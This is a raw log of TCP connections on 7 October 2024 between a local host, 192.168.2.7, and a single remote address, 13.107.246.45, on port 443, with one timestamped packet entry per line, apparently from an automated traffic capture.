Oct 7, 2024 18:43:35.727452040 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.727462053 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.727477074 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.727493048 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.727500916 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.728214979 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.728256941 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.733544111 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.733556032 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.737109900 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.737139940 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.737189054 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.738552094 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.738594055 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.738641977 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.738945961 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.738961935 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.739499092 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.739514112 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.761682987 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.761923075 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.761969090 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.762794971 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.762811899 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.767640114 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.767683029 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.767765999 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.768069983 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.768080950 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.793488979 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.794275999 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.794332981 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.794502020 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.794512033 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.794526100 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.794532061 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.798683882 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.798697948 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.798784018 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.799074888 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.799086094 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.370172977 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.370443106 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.376034021 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.383058071 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.383100033 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.384061098 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.384069920 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.384092093 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.384145975 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.384545088 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.384625912 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.384752035 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.384767056 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.385164022 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.385178089 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.409754992 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.413155079 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.413197994 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.413536072 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.413541079 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.445847988 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.446496964 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.446510077 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.447007895 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.447011948 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.476274014 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.476322889 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.476433992 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.477466106 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.477530003 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.479625940 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.481142044 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.481221914 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.481312037 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.508188963 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.508189917 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.508224010 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.508235931 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.509519100 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.509520054 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.509598017 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.509633064 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.510915041 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.510957956 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.511034012 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.517631054 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.517672062 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.517724991 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.517741919 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.520401001 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.520415068 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.520450115 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.520456076 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.527321100 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.527355909 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.527475119 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.537036896 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.537070036 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.537246943 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.539303064 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.539339066 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.539432049 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.539761066 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.539784908 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.543417931 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.543440104 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.543531895 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.544025898 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.544039965 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.544867039 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.544879913 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.544889927 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.544904947 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.547203064 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.547230005 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.547296047 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.547326088 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.547415018 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.547688961 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.547688961 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.547698975 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.547705889 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.552400112 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.552414894 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:36.552634001 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.552634001 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:36.552655935 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.567950964 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.568543911 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.568655014 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.568988085 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.569003105 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.572611094 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.572936058 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.572956085 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.573410034 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.573415041 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.628345013 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.632582903 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.635072947 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.635072947 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.635092020 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.635102987 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.635406017 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.635411024 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.635704041 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.635706902 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.682214022 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.686227083 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.686239004 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:37.686613083 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:37.686616898 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113224983 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113280058 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113333941 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113343954 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.113415956 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113444090 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113461971 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113497972 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113545895 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.113545895 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.113619089 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113622904 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113626957 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113678932 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.113692045 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.113704920 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.113735914 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.116367102 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.116389036 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.116401911 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.116409063 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.123233080 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.123233080 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.123251915 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.123262882 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.128464937 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.128505945 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.128559113 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.128576040 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.137871027 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.137871027 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.137897015 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.137907982 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.146920919 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.146943092 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.146981001 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.146986961 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.197906971 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.197956085 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.198091984 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.208790064 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.208832026 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.208903074 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.213776112 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.213795900 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.213876009 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.213983059 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.214032888 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.214385986 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.229700089 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.229762077 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.229850054 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.229933977 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.229971886 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.230036020 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.230065107 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.239865065 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.239883900 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.240083933 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.240097046 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.240272999 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.240310907 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.845925093 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.846375942 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.846405983 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.846543074 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.846818924 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.846824884 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.848067045 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.848107100 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.848427057 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.848433971 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.892561913 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.893069983 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.893080950 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.893493891 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.893501043 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.901341915 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.901781082 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.901794910 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.902116060 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.902121067 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.905103922 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.905359983 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.905366898 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.905641079 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.905646086 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.942014933 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.942226887 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.942276001 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.942276955 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.942322969 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.942364931 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.942380905 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.942389965 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.942394972 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.944617033 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.944650888 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.944724083 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.944819927 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.944828987 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.945036888 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.945067883 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.945103884 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.945108891 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.945144892 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.945192099 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.945209026 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.945221901 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.945228100 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.947062969 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.947071075 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.947135925 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.947227955 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.947232962 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.990041971 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.990447044 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.990493059 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.990510941 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.990520000 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.990529060 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.990533113 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.992728949 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.992779016 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:38.992834091 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.992953062 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:38.992968082 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.000411034 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.000541925 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.000591993 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.000617027 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.000633001 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.000643015 CEST	49825	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.000648022 CEST	443	49825	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.002398014 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.002444983 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.002512932 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.002619028 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.002634048 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.004779100 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.004914999 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.004965067 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.004981041 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.004985094 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.004996061 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.004998922 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.006757975 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.006778955 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.006838083 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.006949902 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.006963015 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.584719896 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.585268974 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.585285902 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.586028099 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.586031914 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.630098104 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.630649090 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.630664110 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.631206989 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.631217003 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.650711060 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.651137114 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.651160002 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.651480913 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.651488066 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.659203053 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.659518957 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.659605980 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.659831047 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.659845114 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.673851013 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.674144030 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.674173117 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.674467087 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.674474955 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.713812113 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.713982105 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.714164972 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.714251041 CEST	49829	443	192.168.2.7	13.107.246.45
